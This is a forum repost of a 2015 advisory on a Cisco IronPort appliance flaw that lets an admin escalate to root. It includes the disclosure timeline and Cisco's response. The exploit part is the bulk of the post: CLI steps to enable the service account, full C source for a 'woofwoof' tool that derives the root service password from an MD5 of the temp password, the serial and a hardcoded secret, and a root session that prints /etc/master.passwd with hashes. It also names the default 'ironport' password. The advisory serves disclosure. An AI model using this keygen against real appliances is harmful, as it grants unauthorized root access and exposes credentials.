Aerosol Posted January 27, 2015 Report Posted January 27, 2015 /* Cisco Ironport Appliances Privilege Escalation VulnerabilityVendor: CiscoProduct webpage: http://www.cisco.comAffected version(s): Cisco Ironport ESA - AsyncOS 8.5.5-280 Cisco Ironport WSA - AsyncOS 8.0.5-075 Cisco Ironport SMA - AsyncOS 8.3.6-0Date: 22/05/2014Credits: Glafkos CharalambousCVE: Not assigned by CiscoDisclosure Timeline:19-05-2014: Vendor Notification20-05-2014: Vendor Response/Feedback27-08-2014: Vendor Fix/Patch24-01-2015: Public DisclosureDescription: Cisco Ironport appliances are vulnerable to authenticated "admin" privilege escalation.By enabling the Service Account from the GUI or CLI allows an admin to gain root access on the appliance, therefore bypassing all existing "admin" account limitations.The vulnerability is due to weak algorithm implementation in the password generation process which is used by Cisco to remotely access the appliance to provide technical support.Vendor Response: As anticipated, this is not considered a vulnerability but a security hardening issue. As such we did not assign a CVE however I made sure that this is fixed on SMA, ESA and WSA. The fix included several changes such as protecting better the algorithm in the binary, changing the algorithm itself to be more robust and enforcing password complexity when the administrator set the pass-phrase and enable the account.[SD] Note: Administrative credentials are needed in order to activate the access to support representative and to set up the pass-phrase that it is used to compute the final password.[GC] Still Admin user has limited permissions on the appliance and credentials can get compromised too, even with default password leading to full root access.[SD] This issue is tracked for the ESA by Cisco bug id: CSCuo96011 for the SMA by Cisco bug id: CSCuo96056 and for WSA by Cisco bug id CSCuo90528Technical Details:By logging in to the appliance using default password "ironport" or user specified one, there is an option to enable Customer Support Remote Access.This option can be found under Help and Support -> Remote Access on the GUI or by using the CLI console account "enablediag" and issuing the command service.Enabling this service requires a temporary user password which should be provided along with the appliance serial number to Cisco techsupport for remotely connecting and authenticating to the appliance. Having a temporary password and the serial number of the appliance by enabling the service account, an attacker can in turn get full root access as well as potentially damage it, backdoor it, etc.PoC:Enable Service Account----------------------root@kali:~# ssh -lenablediag 192.168.0.158Password:Last login: Sat Jan 24 15:47:07 2015 from 192.168.0.163Copyright (c) 2001-2013, Cisco Systems, Inc.AsyncOS 8.5.5 for Cisco C100V build 280Welcome to the Cisco C100V Email Security Virtual ApplianceAvailable Commands:help -- View this text.quit -- Log out.service -- Enable or disable access to the service system.network -- Perform emergency configuration of the diagnostic network interface.clearnet -- Resets configuration of the diagnostic network interface.ssh -- Configure emergency SSH daemon on the diagnostic network interface.clearssh -- Stop emergency SSH daemon on the diagnostic network interface.tunnel -- Start up tech support tunnel to IronPort.print -- Print status of the diagnostic network interface.reboot -- Reboot the appliance.S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4Service Access currently disabled.ironport.example.com> serviceService Access is currently disabled. Enabling this system will allow anIronPort Customer Support representative to remotely access your systemto assist you in solving your technical issues. Are you sure you wantto do this? [Y/N]> YEnter a temporary password for customer support to use. This password maynot be the same as your admin password. This password will not be ableto be used to directly access your system.[]> cisco123Service access has been ENABLED. Please provide your temporary passwordto your IronPort Customer Support representative.S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4Service Access currently ENABLED (0 current service logins)ironport.example.com> Generate Service Account Password---------------------------------Y:\Vulnerabilities\cisco\ironport>woofwoof.exeUsage: woofwoof.exe -p password -s serial-p <password> | Cisco Service Temp Password-s <serial> | Cisco Serial Number-h | This Help MenuExample: woofwoof.exe -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019F508A4Y:\Vulnerabilities\cisco\ironport>woofwoof.exe -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019F508A4Service Password: b213c9a4Login to the appliance as Service account with root privileges--------------------------------------------------------------root@kali:~# ssh -lservice 192.168.0.158Password:Last login: Wed Dec 17 21:15:24 2014 from 192.168.0.10Copyright (c) 2001-2013, Cisco Systems, Inc.AsyncOS 8.5.5 for Cisco C100V build 280Welcome to the Cisco C100V Email Security Virtual Appliance# uname -aFreeBSD ironport.example.com 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Mar 14 08:04:05 PDT 2014 auto-build@vm30esa0109.ibeng:/usr/build/iproot/freebsd/mods/src/sys/amd64/compile/MESSAGING_GATEWAY.amd64 amd64# cat /etc/master.passwd# $Header: //prod/phoebe-8-5-5-br/sam/freebsd/install/dist/etc/master.passwd#1 $root:*:0:0::0:0:Mr &:/root:/sbin/nologinservice:$1$bYeV53ke$Q7hVZA5heeb4fC1DN9dsK/:0:0::0:0:Mr &:/root:/bin/shenablediag:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:999:999::0:0:Administrator support access control:/root:/data/bin/enablediag.shadminpassword:$1$aDeitl0/$BlmzKUSeRXoc4kcuGzuSP/:0:1000::0:0:Administrator Password Tool:/data/home/admin:/data/bin/adminpassword.shdaemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologinoperator:*:2:5::0:0:System &:/:/sbin/nologinbin:*:3:7::0:0:Binaries Commands and Source,,,:/:/sbin/nologintty:*:4:65533::0:0:Tty Sandbox:/:/sbin/nologinkmem:*:5:65533::0:0:KMem Sandbox:/:/sbin/nologinman:*:9:9::0:0:Mister Man Pages:/usr/share/man:/sbin/nologinsshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/sbin/nologinnobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/sbin/nologinsupport:$1$FgFVb064$SmsZv/ez7Pf4wJLp5830s/:666:666::0:0:Mr &:/root:/sbin/nologinadmin:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:1000:1000::0:0:Administrator:/data/home/admin:/data/bin/cli.shclustercomm:*:900:1005::0:0:Cluster Communication User:/data/home/clustercomm:/data/bin/command_proxy.shsmaduser:*:901:1007::0:0:Smad User:/data/home/smaduser:/data/bin/cli.shspamd:*:783:1006::0:0:CASE User:/usr/case:/sbin/nologinpgsql:*:70:70::0:0:PostgreSQL pseudo-user:/usr/local/pgsql:/bin/shldap:*:389:389::0:0:OpenLDAP Server:/nonexistent:/sbin/nologin*/#include <stdio.h>#include <stdlib.h>#include <string.h>#include <ctype.h>#include "md5.h"#include "getopt.h"#define MAX_BUFFER 128#define SECRET_PASS "woofwoof"void usage(char *name);void to_lower(char *str);void fuzz_string(char *str);int main(int argc, char *argv[]) { if (argc < 2) { usage(argv[0]); } int opt; int index; char *temp_pass = { 0 }; char *serial_no = { 0 }; char *secret_pass = SECRET_PASS; char service[MAX_BUFFER] = { 0 }; unsigned char digest[16] = { 0 }; while ((opt = getopt(argc, argv, "p:s:h")) != -1) { switch (opt) { case 'p': temp_pass = optarg; break; case 's': serial_no = optarg; break; case 'h': usage(argv[0]); break; default: printf_s("Wrong Argument: %s\n", argv[1]); break; } } for (index = optind; index < argc; index++) { usage(argv[0]); exit(0); } if (temp_pass == NULL || serial_no == NULL) { usage(argv[0]); exit(0); } if ((strlen(temp_pass) <= sizeof(service)) && (strlen(serial_no) <= sizeof(service))) { to_lower(serial_no); fuzz_string(temp_pass); strcpy_s(service, sizeof(service), temp_pass); strcat_s(service, sizeof(service), serial_no); strcat_s(service, sizeof(service), secret_pass); MD5_CTX context; MD5_Init(&context); MD5_Update(&context, service, strlen(service)); MD5_Final(digest, &context); printf_s("Service Password: "); for (int i = 0; i < sizeof(digest)-12; i++) printf("%02x", digest[i]); } return 0;}void fuzz_string(char *str) { while (*str){ switch (*str) { case '1': *str = 'i'; break; case '0': *str = 'o'; break; case '_': *str = '-'; break; } str++; }}void to_lower(char *str) { while (*str) { if (*str >= 'A' && *str <= 'Z') { *str += 0x20; } str++; }}void usage(char *name) { printf_s("\nUsage: %s -p password -s serial\n", name); printf_s(" -p <password> | Cisco Service Temp Password\n"); printf_s(" -s <serial> | Cisco Serial Number\n"); printf_s(" -h | This Help Menu\n"); printf_s("\n Example: %s -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019F508A4\n", name); exit(0);}Source Quote
